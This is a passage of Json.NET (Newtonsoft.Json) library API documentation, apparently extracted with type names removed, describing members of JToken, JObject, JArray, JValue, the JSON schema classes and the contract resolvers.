children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the list changes or an item in the list changes. Occurs before an item is added to the collection. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Represents a JSON property. Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a view of a . Initializes a new instance of the class. The name. When overridden in a derived class, returns whether resetting an object changes its value. true if resetting the component changes its value; otherwise, false. The component to test for reset capability. When overridden in a derived class, gets the current value of the property on a component. The value of a property for a given component. The component with the property for which to retrieve the value. When overridden in a derived class, resets the value for this property of the component to the default value. The component with the property value that is to be reset to the default value. When overridden in a derived class, sets the value of the component to a different value. The component with the property value that is to be set. The new value. When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. true if the property should be persisted; otherwise, false. The component with the property to be examined for persistence. When overridden in a derived class, gets the type of the component this property is bound to. A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. When overridden in a derived class, gets a value indicating whether this property is read-only. true if the property is read-only; otherwise, false. When overridden in a derived class, gets the type of the property. A that represents the type of the property. Gets the hash code for the name of the member. The hash code for the name of the member. Represents a raw JSON string. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets the default members search flags. The default members search flags. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer that writes to the application's instances. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom 